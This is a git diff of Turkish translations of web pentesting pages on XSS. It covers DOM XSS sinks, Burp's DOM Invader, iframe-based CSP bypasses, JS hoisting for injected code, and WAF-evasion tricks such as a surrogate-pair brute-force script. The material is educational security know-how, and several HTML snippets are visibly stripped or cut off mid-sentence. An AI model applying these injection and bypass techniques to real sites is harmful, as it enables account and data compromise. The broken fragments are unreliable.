etiketinin Chrome ve Firefox gibi tarayıcılarda çalışabilmesi için bir `` etiketi gereklidir: +SVG'de HTML etiketinin Chrome ve Firefox gibi tarayıcılarda çalışabilmesi için `` etiketi gereklidir: ```html @@ -208,7 +208,7 @@ Bir formun içine **yeni girişler eklemek** mümkündür, sadece bazı etiketle Click to send! ``` -- Daha fazla form özellikleri için [**buton kontrol et**](https://www.w3schools.com/tags/tag_button.asp)**.** +- Daha fazla form özniteliği için [**buton kontrol et**](https://www.w3schools.com/tags/tag_button.asp)**.** ## Referanslar diff --git a/src/pentesting-web/xss-cross-site-scripting/dom-invader.md b/src/pentesting-web/xss-cross-site-scripting/dom-invader.md index e6744ac02..0436d789a 100644 --- a/src/pentesting-web/xss-cross-site-scripting/dom-invader.md +++ b/src/pentesting-web/xss-cross-site-scripting/dom-invader.md @@ -9,9 +9,9 @@ DOM Invader, Burp'ın yerleşik tarayıcısında kurulu bir tarayıcı aracıdı DOM Invader, tarayıcının Geliştirici Araçları panelinde aşağıdakileri sağlayan bir sekme entegre eder: 1. **DOM XSS testi için bir web sayfasındaki kontrol edilebilir sinklerin tanımlanması**, bağlam ve sanitizasyon detayları sağlar. -2. **`postMessage()` yöntemiyle gönderilen web mesajlarının kaydedilmesi, düzenlenmesi ve yeniden gönderilmesi** DOM XSS testi için. DOM Invader, özel olarak hazırlanmış web mesajlarını kullanarak zafiyetleri otomatik olarak tespit edebilir. +2. **`postMessage()` yöntemiyle gönderilen web mesajlarının** kaydedilmesi, düzenlenmesi ve yeniden gönderilmesi için DOM XSS testi. DOM Invader ayrıca özel olarak hazırlanmış web mesajlarını kullanarak zafiyetleri otomatik olarak tespit edebilir. 3. **İstemci tarafı prototip kirlenmesi** kaynaklarının tespiti ve riskli sinklere gönderilen kontrol edilebilir gadgetların taranması. -4. **DOM clobbering zafiyetlerinin tanımlanması**. +4. **DOM clobbering zafiyetlerinin** tanımlanması. ### Etkinleştir @@ -37,21 +37,21 @@ Sayfanın potansiyel sinklerini bulmak istiyorsanız, bunlar istismar edilebilir DOM Invader, web mesajları kullanarak DOM XSS testi yapmayı sağlar ve şu özelliklere sahiptir: -1. **`postMessage()` ile gönderilen web mesajlarının kaydedilmesi**, Burp Proxy'nin HTTP istek/yanıt geçmişi kaydı gibi. -2. **Web mesajlarının değiştirilmesi** ve **yeniden gönderilmesi**, DOM XSS için manuel test yapmak üzere, Burp Repeater'ın işlevine benzer. -3. **Web mesajlarının otomatik olarak değiştirilmesi** ve DOM XSS'i araştırmak için gönderilmesi. +1. **`postMessage()` ile gönderilen web mesajlarının** kaydedilmesi, Burp Proxy'nin HTTP istek/yanıt geçmişi kaydıyla benzerlik gösterir. +2. **Web mesajlarının** değiştirilmesi ve **yeniden gönderilmesi**, DOM XSS için manuel test yapmaya benzer, Burp Repeater'ın işlevine benzer. +3. **Web mesajlarının otomatik olarak değiştirilmesi** ve DOM XSS'yi araştırmak için gönderilmesi. #### Mesaj detayları Her mesaj hakkında detaylı bilgi, üzerine tıklanarak görüntülenebilir; bu, istemci tarafı JavaScript'in mesajın `origin`, `data` veya `source` özelliklerine erişip erişmediğini içerir. -- **`origin`**: Eğer mesajın **origin bilgisi kontrol edilmezse**, **rastgele bir dış alan** üzerinden olay işleyicisine çapraz alan mesajları gönderebilirsiniz. Ancak kontrol ediliyorsa, yine de güvensiz olabilir. +- **`origin`** : Eğer mesajın **origin bilgisi kontrol edilmezse**, **rastgele bir dış alan** üzerinden olay işleyicisine çapraz alan mesajları gönderebilirsiniz. Ancak kontrol ediliyorsa, yine de güvensiz olabilir. - **`data`**: Payload'un gönderildiği yerdir. Bu veri kullanılmazsa, sink işe yaramaz. -- **`source`**: Genellikle bir iframe'i referans alan kaynak özelliğinin doğrulanıp doğrulanmadığını değerlendirir. Bu kontrol edilse bile, doğrulamanın atlanamayacağına dair bir güvence vermez. +- **`source`**: Genellikle bir iframe'i referans alan kaynak özelliğinin doğrulanıp doğrulanmadığını değerlendirir. Bu kontrol edilse bile, doğrulamanın atlanamayacağına dair bir garanti yoktur. #### Bir mesaja yanıt ver -1. **Mesajlar** görünümünden, herhangi bir mesaja tıklayarak mesaj detayları penceresini açın. +1. **Mesajlar** görünümünden, mesaj detayları penceresini açmak için herhangi bir mesaja tıklayın. 2. Gerekli şekilde **Veri** alanını düzenleyin. 3. **Gönder** butonuna tıklayın. @@ -68,14 +68,14 @@ Eğer bir şey bulunursa, bulunan kaynağı **test etmek için** bir **Test** bu let b = {} b.testproperty ``` -Bir kaynak bulduğunuzda **bir gadget için tarama yapabilirsiniz**: +Bir kaynak bulduğunuzda **bir alet için tarama yapabilirsiniz**: -1. **DOM** görünümünde tanımlanan herhangi bir prototip kirlenme kaynağının yanında bulunan **Gadget'ları Tara** butonuna tıklandığında, DOM Invader yeni bir sekme açar. Uygun gadget'lar için tarama başlar. -2. Bu arada, aynı sekmede, DevTools panelinde **DOM Invader** sekmesi açılmalıdır. Tarama tamamlandığında, tanımlanan gadget'lar aracılığıyla erişilebilen herhangi bir sink **DOM** görünümünde görüntülenir. Örneğin, `innerHTML` sink'ine geçirilen `html` adlı bir gadget özelliği aşağıdaki örnekte gösterilmektedir. +1. **DOM** görünümünde herhangi bir tanımlanmış prototip kirlenme kaynağının yanında bulunan **Gadget'leri Tara** butonuna tıklandığında, DOM Invader yeni bir sekme açar. Uygun aletler için tarama başlar. +2. Bu arada, aynı sekmede, DevTools panelinde **DOM Invader** sekmesi açılmalıdır. Tarama tamamlandığında, tanımlanan aletler aracılığıyla erişilebilen herhangi bir sink **DOM** görünümünde görüntülenir. Örneğin, `innerHTML` sink'ine geçirilen `html` adlı bir alet özelliği aşağıdaki örnekte gösterilmektedir. -## DOM clobbering +## DOM kirlenmesi -Önceki görüntüde, DOM clobbering taramasının açılabileceği görülmektedir. Tamamlandığında, **DOM Invader DOM clobbering zafiyetlerini aramaya başlayacaktır**. +Önceki görüntüde DOM kirlenmesi taramasının açılabileceği görülmektedir. Tamamlandığında, **DOM Invader DOM kirlenmesi açıklarını aramaya başlayacaktır**. ## Referanslar diff --git a/src/pentesting-web/xss-cross-site-scripting/dom-xss.md b/src/pentesting-web/xss-cross-site-scripting/dom-xss.md index 88432ff89..7c52111a2 100644 --- a/src/pentesting-web/xss-cross-site-scripting/dom-xss.md +++ b/src/pentesting-web/xss-cross-site-scripting/dom-xss.md @@ -62,10 +62,10 @@ Database | **``**[**`Hizmet Reddi`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Çerez manipülasyonu**](dom-xss.md#cookie-manipulation) | | `requestFileSystem()` | **\`\`**[**Belge-alan manipülasyonu**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` | | `RegExp()` | `document.domain` | `history.pushState()` | [**WebSocket-URL zehirlenmesi**](dom-xss.md#websocket-url-poisoning) | -| [**İstemci Tarafı SQL Enjeksiyonu**](dom-xss.md#client-side-sql-injection) | [**Web-mesaj manipülasyonu**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` | +| [**İstemci Tarafı SQL enjeksiyonu**](dom-xss.md#client-side-sql-injection) | [**Web-mesaj manipülasyonu**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` | | `executeSql()` | `postMessage()` | \`\` | \`\` | -**`innerHTML`** sıvısı, modern tarayıcılarda `script` öğelerini kabul etmez ve `svg onload` olayları tetiklenmez. Bu, `img` veya `iframe` gibi alternatif öğeler kullanmanız gerektiği anlamına gelir. +**`innerHTML`** sıvısı, modern tarayıcılarda `script` öğelerini kabul etmez, ayrıca `svg onload` olayları da tetiklenmez. Bu, `img` veya `iframe` gibi alternatif öğeler kullanmanız gerektiği anlamına gelir. Bu tür bir XSS muhtemelen **bulması en zor olanıdır**, çünkü JS kodunun içine bakmanız, **kontrol ettiğiniz** herhangi bir nesneyi **kullanıp kullanmadığını** görmeniz ve bu durumda, keyfi JS çalıştırmak için **herhangi bir şekilde kötüye kullanma** olup olmadığını kontrol etmeniz gerekir. @@ -80,7 +80,7 @@ Bu tür bir XSS muhtemelen **bulması en zor olanıdır**, çünkü JS kodunun i Kaynak: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection) -**DOM'daki açık yönlendirme güvenlik açıkları**, bir saldırganın kontrol edebileceği verilerin bir sıvıya yazıldığı ve bu sıvının alanlar arası yönlendirmeyi başlatma yeteneğine sahip olduğu durumlarda ortaya çıkar. +**DOM'daki açık yönlendirme güvenlik açıkları**, bir saldırganın kontrol edebileceği verilerin bir sıvıya yazıldığı ve bu sıvının alanlar arasında yönlendirme başlatma yeteneğine sahip olduğu durumlarda ortaya çıkar. Yönlendirmenin gerçekleştiği URL'nin başlangıcını kontrol ediyorsanız, **`javascript:alert(1)`** gibi keyfi kod çalıştırmanın mümkün olduğunu anlamak önemlidir. @@ -106,7 +106,7 @@ $.ajax() From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation) -DOM tabanlı cookie-manipülasyon zafiyetleri, bir script'in bir saldırgan tarafından kontrol edilebilen verileri bir cookie'nin değerine dahil etmesi durumunda meydana gelir. Bu zafiyet, cookie'nin site içinde kullanılması durumunda web sayfasının beklenmedik bir şekilde davranmasına yol açabilir. Ayrıca, cookie kullanıcı oturumlarını izlemek için kullanılıyorsa, oturum sabitleme saldırısı gerçekleştirmek için de istismar edilebilir. Bu zafiyetle ilişkili ana sink şudur: +DOM tabanlı cookie-manipülasyon zafiyetleri, bir script'in bir saldırgan tarafından kontrol edilebilen verileri bir cookie'nin değerine dahil etmesi durumunda meydana gelir. Bu zafiyet, cookie sitenin içinde kullanıldığında web sayfasının beklenmedik bir şekilde davranmasına yol açabilir. Ayrıca, cookie kullanıcı oturumlarını takip etmekte kullanılıyorsa, oturum sabitleme saldırısı gerçekleştirmek için de istismar edilebilir. Bu zafiyetle ilişkili ana sink şudur: Sinks: ```javascript @@ -116,7 +116,7 @@ document.cookie From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection) -DOM tabanlı JavaScript enjeksiyon zafiyetleri, bir saldırgan tarafından kontrol edilebilen verilerin JavaScript kodu olarak çalıştırıldığı durumlarda oluşur. +DOM tabanlı JavaScript enjeksiyonu zafiyetleri, bir saldırgan tarafından kontrol edilebilen verilerin JavaScript kodu olarak çalıştırıldığı durumlarda oluşur. Sinks: ```javascript @@ -137,7 +137,7 @@ From: [https://portswigger.net/web-security/dom-based/document-domain-manipulati **Document-domain manipulation vulnerabilities** bir saldırganın kontrol edebileceği verileri kullanarak `document.domain` özelliğini ayarladığında ortaya çıkar. -`document.domain` özelliği, tarayıcılar tarafından **aynı köken politikası**nın **uygulanmasında** **anahtar bir rol** oynar. Farklı kökenlerden gelen iki sayfa `document.domain` değerini **aynı değere** ayarladığında, kısıtlama olmaksızın etkileşimde bulunabilirler. Tarayıcılar, `document.domain` için atanabilir değerlere belirli **sınırlamalar** getirse de, tamamen alakasız değerlerin gerçek sayfa kökenine atanmasını engeller, istisnalar mevcuttur. Genellikle, tarayıcılar **çocuk** veya **ebeveyn** alanlarının kullanımına izin verir. +`document.domain` özelliği, tarayıcılar tarafından **same-origin policy**'nin **uygulanmasında** **anahtar bir rol** oynar. Farklı kökenlerden gelen iki sayfa `document.domain`'larını **aynı değere** ayarladıklarında, kısıtlama olmaksızın etkileşimde bulunabilirler. Tarayıcılar, `document.domain`'a atanabilir değerlere belirli **sınırlamalar** getirse de, tamamen alakasız değerlerin gerçek sayfa kökenine atanmasını engeller, istisnalar mevcuttur. Genellikle, tarayıcılar **çocuk** veya **ebeveyn** alanlarının kullanımına izin verir. Sinks: ```javascript @@ -151,13 +151,13 @@ From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](h Sinks: -`WebSocket` yapıcısı, WebSocket-URL zehirlenmesi güvenlik açıklarına yol açabilir. +`WebSocket` yapıcıları, WebSocket-URL zehirlenmesi güvenlik açıklarına yol açabilir. ### Bağlantı manipülasyonu From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation) -**DOM tabanlı bağlantı manipülasyonu güvenlik açıkları**, bir scriptin **saldırgan tarafından kontrol edilebilir verileri mevcut sayfadaki bir navigasyon hedefine** yazması durumunda ortaya çıkar; bu, tıklanabilir bir bağlantı veya bir formun gönderim URL'si gibi olabilir. +**DOM tabanlı bağlantı manipülasyonu güvenlik açıkları**, bir scriptin **saldırgan tarafından kontrol edilebilen verileri mevcut sayfadaki bir navigasyon hedefine** yazması durumunda ortaya çıkar; bu, tıklanabilir bir bağlantı veya bir formun gönderim URL'si gibi olabilir. Sinks: ```javascript @@ -169,7 +169,7 @@ someDOMElement.action From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation) -**Ajax isteği manipülasyonu zafiyetleri**, bir script'in **saldırgan tarafından kontrol edilebilen verileri bir Ajax isteğine yazdığı** durumlarda ortaya çıkar ve bu istek bir `XmlHttpRequest` nesnesi kullanılarak yapılır. +**Ajax isteği manipülasyonu zafiyetleri**, bir script'in **saldırgan tarafından kontrol edilebilen verileri bir Ajax isteğine yazması** durumunda ortaya çıkar ve bu istek bir `XmlHttpRequest` nesnesi kullanılarak yapılır. Sinks: ```javascript @@ -183,7 +183,7 @@ $.globalEval() From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation) -**Yerel dosya yolu manipülasyonu zafiyetleri**, bir script'in **saldırgan tarafından kontrol edilebilen verileri bir dosya işleme API'sine** `filename` parametresi olarak geçmesi durumunda ortaya çıkar. Bu zafiyet, bir saldırgan tarafından, başka bir kullanıcı tarafından ziyaret edilirse **kullanıcının tarayıcısının rastgele bir yerel dosyayı açmasına veya yazmasına** neden olabilecek bir URL oluşturmak için kullanılabilir. +**Yerel dosya yolu manipülasyonu zafiyetleri**, bir script'in **saldırgan kontrolündeki verileri bir dosya işleme API'sine** `filename` parametresi olarak geçmesi durumunda ortaya çıkar. Bu zafiyet, bir saldırgan tarafından, başka bir kullanıcı tarafından ziyaret edilirse **kullanıcının tarayıcısının rastgele bir yerel dosyayı açmasına veya yazmasına** neden olabilecek bir URL oluşturmak için kullanılabilir. Sinks: ```javascript @@ -199,7 +199,7 @@ FileReader.root.getFile() From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection) -**İstemci tarafı SQL enjeksiyonu zafiyetleri**, bir scriptin **saldırgan tarafından kontrol edilebilen verileri istemci tarafı SQL sorgusuna güvensiz bir şekilde dahil etmesi** durumunda meydana gelir. +**İstemci tarafı SQL enjeksiyonu zafiyetleri**, bir script'in **saldırgan tarafından kontrol edilebilen verileri istemci tarafı SQL sorgusuna güvensiz bir şekilde dahil etmesi** durumunda meydana gelir. Sinks: ```javascript @@ -243,7 +243,7 @@ $.parseJSON() From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation) -**Web-message güvenlik açıkları**, bir script'in **saldırgan kontrolündeki verileri bir web mesajı olarak başka bir belgeye** göndermesi durumunda ortaya çıkar. **Kırılgan** Web-message manipülasyonu örneği [PortSwigger'in Web Security Academy](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source) adresinde bulunabilir. +**Web-message güvenlik açıkları**, bir script'in **saldırgan tarafından kontrol edilebilen verileri bir web mesajı olarak başka bir belgeye** göndermesi durumunda ortaya çıkar. **Kırılgan** Web-message manipülasyonu örneği [PortSwigger'in Web Güvenliği Akademisi](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source) adresinde bulunabilir. Sinks: @@ -253,7 +253,7 @@ Sinks: From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation) -**DOM-veri manipülasyonu güvenlik açıkları**, bir script'in **saldırgan kontrolündeki verileri DOM içindeki bir alana** yazması durumunda ortaya çıkar; bu alan görünür UI veya istemci tarafı mantığında kullanılır. Bu güvenlik açığı, bir saldırgan tarafından, başka bir kullanıcı tarafından ziyaret edilirse istemci tarafı UI'sının görünümünü veya davranışını değiştirebilecek bir URL oluşturmak için kullanılabilir. +**DOM-veri manipülasyonu güvenlik açıkları**, bir script'in **saldırgan tarafından kontrol edilebilen verileri DOM içindeki bir alana** yazması durumunda ortaya çıkar; bu alan görünür UI veya istemci tarafı mantığında kullanılır. Bu güvenlik açığı, bir saldırgan tarafından, başka bir kullanıcı tarafından ziyaret edilirse istemci tarafı UI'sının görünümünü veya davranışını değiştirebilecek bir URL oluşturmak için kullanılabilir. Sinks: ```javascript @@ -284,7 +284,7 @@ history.replaceState() From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service) -**DOM tabanlı hizmet reddi zafiyetleri**, bir scriptin **saldırgan kontrolündeki verileri sorunlu bir platform API'sine güvensiz bir şekilde ilettiğinde** meydana gelir. Bu, çağrıldığında kullanıcının bilgisayarının **aşırı miktarda CPU veya disk alanı** tüketmesine neden olabilecek API'leri içerir. Bu tür zafiyetler, tarayıcının `localStorage`'da veri depolama girişimlerini reddederek web sitesinin işlevselliğini kısıtlaması veya meşgul scriptleri sonlandırması gibi önemli yan etkilere sahip olabilir. +**DOM tabanlı hizmet reddi zafiyetleri**, bir scriptin **saldırgan kontrolündeki verileri sorunlu bir platform API'sine güvensiz bir şekilde iletmesi** durumunda meydana gelir. Bu, çağrıldığında kullanıcının bilgisayarının **aşırı miktarda CPU veya disk alanı** tüketmesine neden olabilecek API'leri içerir. Bu tür zafiyetler, tarayıcının verileri `localStorage`'da depolama girişimlerini reddederek web sitesinin işlevselliğini kısıtlaması veya meşgul scriptleri sonlandırması gibi önemli yan etkilere sahip olabilir. Sinks: ```javascript diff --git a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md index 74a9068e9..3d2789c9b 100644 --- a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md +++ b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md @@ -1,10 +1,10 @@ -# XSS, CSP ve SOP'da Iframe'ler +# Iframes in XSS, CSP and SOP {{#include ../../banners/hacktricks-training.md}} -## XSS'de Iframe'ler +## Iframes in XSS -Iframe'li bir sayfanın içeriğini belirtmenin 3 yolu vardır: +Bir iframed sayfanın içeriğini belirtmenin 3 yolu vardır: - Bir URL belirten `src` aracılığıyla (URL, çapraz köken veya aynı köken olabilir) - `data:` protokolünü kullanarak içeriği belirten `src` aracılığıyla @@ -51,10 +51,10 @@ if4'ün `null` kökenine sahip olduğu not edilmelidir. ### CSP ile Iframe'ler > [!NOTE] -> Lütfen, aşağıdaki bypass'lerde iframe'li sayfaya verilen yanıtın JS çalıştırılmasını engelleyen herhangi bir CSP başlığı içermediğini not edin. +> Lütfen, aşağıdaki bypass'lerde iframe'li sayfaya verilen yanıtın JS yürütümünü engelleyen herhangi bir CSP başlığı içermediğini not edin. -`script-src`'nin `self` değeri, `data:` protokolü veya `srcdoc` niteliğini kullanarak JS kodunun çalıştırılmasına izin vermeyecektir.\ -Ancak, CSP'nin `none` değeri bile, `src` niteliğinde bir URL (tam veya sadece yol) koyan iframe'lerin çalıştırılmasına izin verecektir.\ +`script-src`'nin `self` değeri, `data:` protokolü veya `srcdoc` niteliğini kullanarak JS kodunun yürütülmesine izin vermeyecektir.\ +Ancak, CSP'nin `none` değeri bile, `src` niteliğinde bir URL (tam veya sadece yol) koyan iframe'lerin yürütülmesine izin verecektir.\ Bu nedenle, bir sayfanın CSP'sini aşmak mümkündür: ```html @@ -81,7 +81,7 @@ Ancak, **yalnızca `if1` ve `if2` script'leri çalıştırılacak, ancak yalnız ![](<../../images/image (372).png>) -Bu nedenle, **eğer bir JS dosyasını sunucuya yükleyip iframe aracılığıyla yükleyebiliyorsanız CSP'yi atlatmak mümkündür, hatta `script-src 'none'` ile bile**. Bu, **aynı site JSONP uç noktasını kötüye kullanarak da potansiyel olarak yapılabilir**. +Bu nedenle, **eğer bir JS dosyasını sunucuya yükleyip iframe aracılığıyla yükleyebiliyorsanız CSP'yi atlatmak mümkündür, hatta `script-src 'none'` ile bile**. Bu, **potansiyel olarak aynı site JSONP uç noktasını kötüye kullanarak da yapılabilir**. Bunu, `script-src 'none'` ile bile bir çerezin çalındığı aşağıdaki senaryo ile test edebilirsiniz. Uygulamayı çalıştırın ve tarayıcınızla erişin: ```python @@ -128,9 +128,9 @@ Kullanıldığında, `sandbox` niteliği birkaç sınırlama getirir: - Bağlantıların diğer tarayıcı bağlamlarıyla etkileşimde bulunması engellenir. - ``, ``, `` veya benzeri etiketler aracılığıyla eklentilerin kullanımı yasaktır. - İçeriğin kendisi tarafından üst düzey tarayıcı bağlamına navigasyon engellenir. -- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik tetiklenen özellikler engellenir. +- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik olarak tetiklenen özellikler engellenir. -Nitelik değeri boş bırakılabilir (`sandbox=""`), bu da yukarıda belirtilen tüm kısıtlamaların uygulanmasını sağlar. Alternatif olarak, iframe'i belirli kısıtlamalardan muaf tutan, boşlukla ayrılmış belirli değerlerin bir listesi olarak ayarlanabilir. +Nitelik değeri, yukarıda belirtilen tüm kısıtlamaları uygulamak için boş bırakılabilir (`sandbox=""`). Alternatif olarak, iframe'i belirli kısıtlamalardan muaf tutan, boşlukla ayrılmış belirli değerlerin bir listesi olarak ayarlanabilir. ```html ``` diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index 48c3ffd6d..8ed88333d 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -4,9 +4,9 @@ ## Temel Bilgiler -JavaScript dilinde, değişkenlerin, fonksiyonların, sınıfların veya importların deklarasyonlarının kod çalıştırılmadan önce kapsamlarının en üstüne kavramsal olarak yükseltildiği bir mekanizma olarak **Hoisting** tanımlanır. Bu süreç, JavaScript motoru tarafından otomatik olarak gerçekleştirilir ve motor, scripti birden fazla geçişte inceler. +JavaScript dilinde, değişkenlerin, fonksiyonların, sınıfların veya importların bildirimlerinin kod çalıştırılmadan önce kapsamlarının en üstüne kavramsal olarak yükseltildiği bir mekanizma olarak **Hoisting** tanımlanır. Bu süreç, JavaScript motoru tarafından otomatik olarak gerçekleştirilir ve motor, scripti birden fazla geçişte inceler. -İlk geçişte, motor kodu sözdizimi hatalarını kontrol etmek için ayrıştırır ve onu soyut bir sözdizim ağacına dönüştürür. Bu aşama, belirli deklarasyonların yürütme bağlamının en üstüne taşındığı hoisting işlemini içerir. Ayrıştırma aşaması başarılı olursa, yani sözdizimi hatası yoksa, scriptin yürütülmesine devam edilir. +İlk geçişte, motor kodu sözdizimi hatalarını kontrol etmek için ayrıştırır ve onu soyut sözdizim ağacına dönüştürür. Bu aşama, belirli bildirimlerin yürütme bağlamının en üstüne taşındığı hoisting işlemini içerir. Ayrıştırma aşaması başarılı olursa, yani sözdizimi hatası yoksa, scriptin yürütülmesine devam edilir. Anlamak önemlidir ki: @@ -17,16 +17,16 @@ Anlamak önemlidir ki: MDN'den alınan bilgilere dayanarak, JavaScript'te dört farklı hoisting türü vardır: -1. **Değer Hoisting**: Bir değişkenin değerinin, deklarasyon satırından önce kapsamı içinde kullanılmasına olanak tanır. -2. **Deklarasyon Hoisting**: Bir değişkenin, deklarasyonundan önce kapsamı içinde referans alınmasına izin verir, bu da `ReferenceError` oluşturmaz, ancak değişkenin değeri `undefined` olacaktır. -3. Bu tür, değişkenin gerçek deklarasyon satırından önceki deklarasyonu nedeniyle kapsam içinde davranışı değiştirir. -4. Deklarasyonun yan etkileri, içeren diğer kodun değerlendirilmesinden önce gerçekleşir. +1. **Değer Hoisting**: Bir değişkenin değerinin, bildirim satırından önce kapsamı içinde kullanılmasına olanak tanır. +2. **Bildirim Hoisting**: Bir değişkenin, bildiriminden önce kapsamı içinde referans alınmasına izin verir, bu da `ReferenceError` oluşturmaz, ancak değişkenin değeri `undefined` olacaktır. +3. Bu tür, değişkenin gerçek bildirim satırından önceki bildirimine bağlı olarak kapsam içindeki davranışı değiştirir. +4. Bildirimin yan etkileri, içeren diğer kodun değerlendirilmesinden önce gerçekleşir. -Detaylı olarak, fonksiyon deklarasyonları tür 1 hoisting davranışı sergiler. `var` anahtar kelimesi tür 2 davranışını gösterir. `let`, `const` ve `class` gibi sözcüksel deklarasyonlar tür 3 davranışını sergiler. Son olarak, `import` ifadeleri, hem tür 1 hem de tür 4 davranışları ile hoisted olan benzersiz bir yapıya sahiptir. +Detaylı olarak, fonksiyon bildirimleri tür 1 hoisting davranışı sergiler. `var` anahtar kelimesi tür 2 davranışını gösterir. `let`, `const` ve `class` gibi sözcüksel bildirimler tür 3 davranışını sergiler. Son olarak, `import` ifadeleri, hem tür 1 hem de tür 4 davranışları ile hoisted olan benzersiz bir yapıya sahiptir. ## Senaryolar -Bu nedenle, **Dekleare edilmemiş bir nesne** kullanıldıktan sonra **JS kodu Enjekte edebileceğiniz** senaryolarınız varsa, onu deklar ederek **sözdizimini düzeltebilirsiniz** (böylece kodunuz bir hata fırlatmak yerine çalıştırılır): +Bu nedenle, **Tanımsız bir nesne** kullanıldıktan sonra **JS kodu enjekte edebileceğiniz** senaryolarınız varsa, onu bildirerek **sözdizimini düzeltebilirsiniz** (böylece kodunuz bir hata fırlatmak yerine yürütülür): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); diff --git a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md index a6e42ee76..f99a8a522 100644 --- a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md +++ b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md @@ -76,7 +76,7 @@ console.log(`[${err}]`, j, cmd) } //From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z ``` -### Geçerli JS Boşlukları Fonksiyon Çağrısında +### Geçerli JS Boşlukları fonksiyon çağrısında ```javascript // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition. @@ -110,7 +110,7 @@ console.log(log) //34,39,47,96 ``` ### **Surrogate Pairs BF** -Bu teknik XSS için çok faydalı olmayacak, ancak WAF korumalarını aşmak için yararlı olabilir. Bu python kodu, girdi olarak 2 bayt alır ve ilk baytı yüksek surrogate çiftinin son baytı ve son baytı düşük surrogate çiftinin son baytı olan surrogate çiftlerini arar. +Bu teknik XSS için çok faydalı olmayacak ama WAF korumalarını aşmak için faydalı olabilir. Bu python kodu, girdi olarak 2 byte alır ve ilk byte'ı yüksek surrogate çiftinin son byte'ı ve son byte'ı düşük surrogate çiftinin son byte'ı olan surrogate çiftlerini arar. ```python def unicode(findHex): for i in range(0,0xFFFFF): @@ -121,7 +121,7 @@ l = chr(int(L[-2:],16)) if(h == findHex[0]) and (l == findHex[1]): print(H.replace("0x","\\u")+L.replace("0x","\\u")) ``` -### `javascript{}:` Protokol Fuzzing +### `javascript{}:` Protokol Bulanıklığı ```javascript // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition. log=[]; @@ -264,7 +264,7 @@ let a = 4; let b = 2; () => a + b + 1; ``` -Yani, önceki işlevlerin çoğu aslında işe yaramaz çünkü onları kaydedip çağırmıyoruz. Örnek olarak `plusone` işlevini oluşturma: +Yani, önceki işlevlerin çoğu aslında işe yaramaz çünkü onları kaydedip çağırmıyoruz. Örneğin `plusone` işlevini oluşturmak: ```javascript // Traductional function plusone(a) { @@ -315,7 +315,7 @@ console.log(String(afunc)) //This will print the code of the function console.log(this.afunc.toString()) //This will print the code of the function console.log(global.afunc.toString()) //This will print the code of the function ``` -**İsmi olmayan fonksiyonlar** durumunda, **fonksiyon kodunu** içinden hala yazdırabilirsiniz: +**İsmi olmayan fonksiyonlar** durumunda, yine de **fonksiyon kodunu** içinden yazdırabilirsiniz: ```javascript ;(function () { return arguments.callee.toString() diff --git a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md index b6bd6bd36..ae62ff03f 100644 --- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md +++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md @@ -5,15 +5,15 @@ ## Sunucu Tarafı XSS (Dinamik PDF) Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu kandırmayı** deneyebilirsiniz ve **keyfi JS kodu çalıştırmasını** sağlayabilirsiniz.\ -Yani, eğer **PDF oluşturucu bot** bazı **HTML** **etiketleri** bulursa, bunları **yorumlayacaktır** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz. +Yani, eğer **PDF oluşturucu bot bazı** **HTML** **etiketleri** bulursa, bunları **yorumlayacaktır** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz. -Lütfen, `` etiketlerinin her zaman çalışmadığını unutmayın, bu yüzden JS'yi çalıştırmak için farklı bir yöntem kullanmanız gerekecek (örneğin, `` etiketlerinin her zaman çalışmadığını unutmayın, bu yüzden JS'yi çalıştırmak için farklı bir 